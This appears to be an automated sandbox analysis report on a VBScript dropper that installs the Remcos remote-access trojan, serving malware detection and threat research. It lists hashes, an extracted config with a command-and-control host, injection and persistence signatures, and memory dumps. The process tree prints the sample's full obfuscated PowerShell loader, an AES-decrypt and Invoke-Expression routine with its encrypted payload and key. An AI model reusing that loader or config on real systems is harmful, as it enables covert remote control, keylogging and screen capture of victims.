Analysis
-
max time kernel
299s -
max time network
297s -
platform
windows11-21h2_x64 -
resource
win11-20231128-en -
resource tags
arch:x64arch:x86image:win11-20231128-enlocale:en-usos:windows11-21h2-x64system -
submitted
05-12-2023 18:38
Static task
static1
Behavioral task
behavioral1
Sample
envifa.vbs
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
envifa.vbs
Resource
win10-20231025-en
Behavioral task
behavioral3
Sample
envifa.vbs
Resource
win10v2004-20231127-en
Behavioral task
behavioral4
Sample
envifa.vbs
Resource
win11-20231128-en
General
-
Target
envifa.vbs
-
Size
159KB
-
MD5
5b0011526c3005e35e88002cfcf3dff8
-
SHA1
5b0b70c2857e84d0abe2b04b0593ccfc49395a8f
-
SHA256
043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401
-
SHA512
4af5c688c4c971950724cd706d09d968973fc65f9b69bf5a969900771577b56799e33d3ca2dd0972ff78d06f4751d609711b19ee793c159189981ed07946d989
-
SSDEEP
3072:jk+jUIUfUPUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUVUPUdUgUgUgUgUgUgUgUo:XjUIUfUPUgUgUgUgUgUgUgUgUgUgUgUL
Malware Config
Extracted
remcos
RemoteHost
remccoss2023.duckdns.org:4576
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
registros.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-E5ZBB0
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Capturas de pantalla
-
screenshot_path
%AppData%
-
screenshot_time
10
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take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 2 3544 powershell.exe 4 3544 powershell.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3544 set thread context of 1916 3544 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3544 powershell.exe 3544 powershell.exe 1064 powershell.exe 1064 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
RegAsm.exepid process 1916 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3544 powershell.exe Token: SeDebugPrivilege 1064 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 1916 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 4780 wrote to memory of 3544 4780 WScript.exe powershell.exe PID 4780 wrote to memory of 3544 4780 WScript.exe powershell.exe PID 3544 wrote to memory of 1064 3544 powershell.exe powershell.exe PID 3544 wrote to memory of 1064 3544 powershell.exe powershell.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe PID 3544 wrote to memory of 1916 3544 powershell.exe RegAsm.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '58417081275505453806';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\remcos\registros.datFilesize
230B
MD5da07760c88eb4c4e2b3fca9b87fc5972
SHA127cba49a2c23c3a00f6226043661e09ee3e23f63
SHA256c1cc350e3f0c1de9cd84dc402a2a8f3acdf6a0e7a5a7a9700339d8633312f74d
SHA5128a76c611ae15b9c7c7faf061966c7c80a4ced75b77d652c8b09af44dc27b23bbfd9544992a9a34c64753c3ad420251e58d3b1743c8f8e64b22027f654e059842
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD588dc70c361a22feac57b031dd9c1f02f
SHA1a9b4732260c2a323750022a73480f229ce25d46d
SHA25643244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
SHA51219c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
2KB
MD55746a9547ca0d2ff66b8de81e48ddc64
SHA16e9cdbbdb0c65caf97fbcd8787d67749b55a6b5f
SHA256eedb2133a9344f6d8fdc81f8fd710954c165e8d88d9516be400f8a94132a8982
SHA512f707a525cbb18c297badc0f1187f71aea9b650c7cfdc3ee727093adfa2cab1a83550b842d666e840b6099ccaa4acb5694567317cd62f10359298f720785f0a31
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ck4s2lbx.thz.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/1064-18-0x00007FFC76830000-0x00007FFC772F2000-memory.dmpFilesize
10.8MB
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memory/1064-34-0x00007FFC76830000-0x00007FFC772F2000-memory.dmpFilesize
10.8MB
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memory/1064-29-0x0000014D6A1D0000-0x0000014D6A1E0000-memory.dmpFilesize
64KB
-
memory/1064-19-0x0000014D6A1D0000-0x0000014D6A1E0000-memory.dmpFilesize
64KB
-
memory/1064-20-0x0000014D6A1D0000-0x0000014D6A1E0000-memory.dmpFilesize
64KB
-
memory/1916-65-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-89-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-109-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-108-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-68-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-69-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-35-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-107-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-106-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-39-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-105-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-41-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-43-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-44-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-46-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-47-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-48-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-49-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-50-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-51-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-52-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-53-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-54-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-55-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-57-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-58-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-59-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-60-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-61-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-62-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-64-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-103-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-66-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-67-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-70-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-102-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-101-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-72-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-73-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-74-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-75-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-76-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-77-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-78-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-80-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-81-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-82-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-83-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-84-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-85-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-86-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-100-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-88-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-99-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-90-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-91-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-92-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-93-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-94-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-96-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-97-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/1916-98-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
-
memory/3544-17-0x0000019FB0D70000-0x0000019FB0D8E000-memory.dmpFilesize
120KB
-
memory/3544-8-0x0000019FB0280000-0x0000019FB02A2000-memory.dmpFilesize
136KB
-
memory/3544-13-0x0000019FB0FB0000-0x0000019FB1756000-memory.dmpFilesize
7.6MB
-
memory/3544-12-0x0000019FB0270000-0x0000019FB0280000-memory.dmpFilesize
64KB
-
memory/3544-9-0x00007FFC76830000-0x00007FFC772F2000-memory.dmpFilesize
10.8MB
-
memory/3544-40-0x00007FFC76830000-0x00007FFC772F2000-memory.dmpFilesize
10.8MB
-
memory/3544-10-0x0000019FB0270000-0x0000019FB0280000-memory.dmpFilesize
64KB
-
memory/3544-11-0x0000019FB0270000-0x0000019FB0280000-memory.dmpFilesize
64KB
-
memory/3544-15-0x0000019FB0310000-0x0000019FB031C000-memory.dmpFilesize
48KB
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memory/3544-16-0x0000019FB0C30000-0x0000019FB0CA6000-memory.dmpFilesize
472KB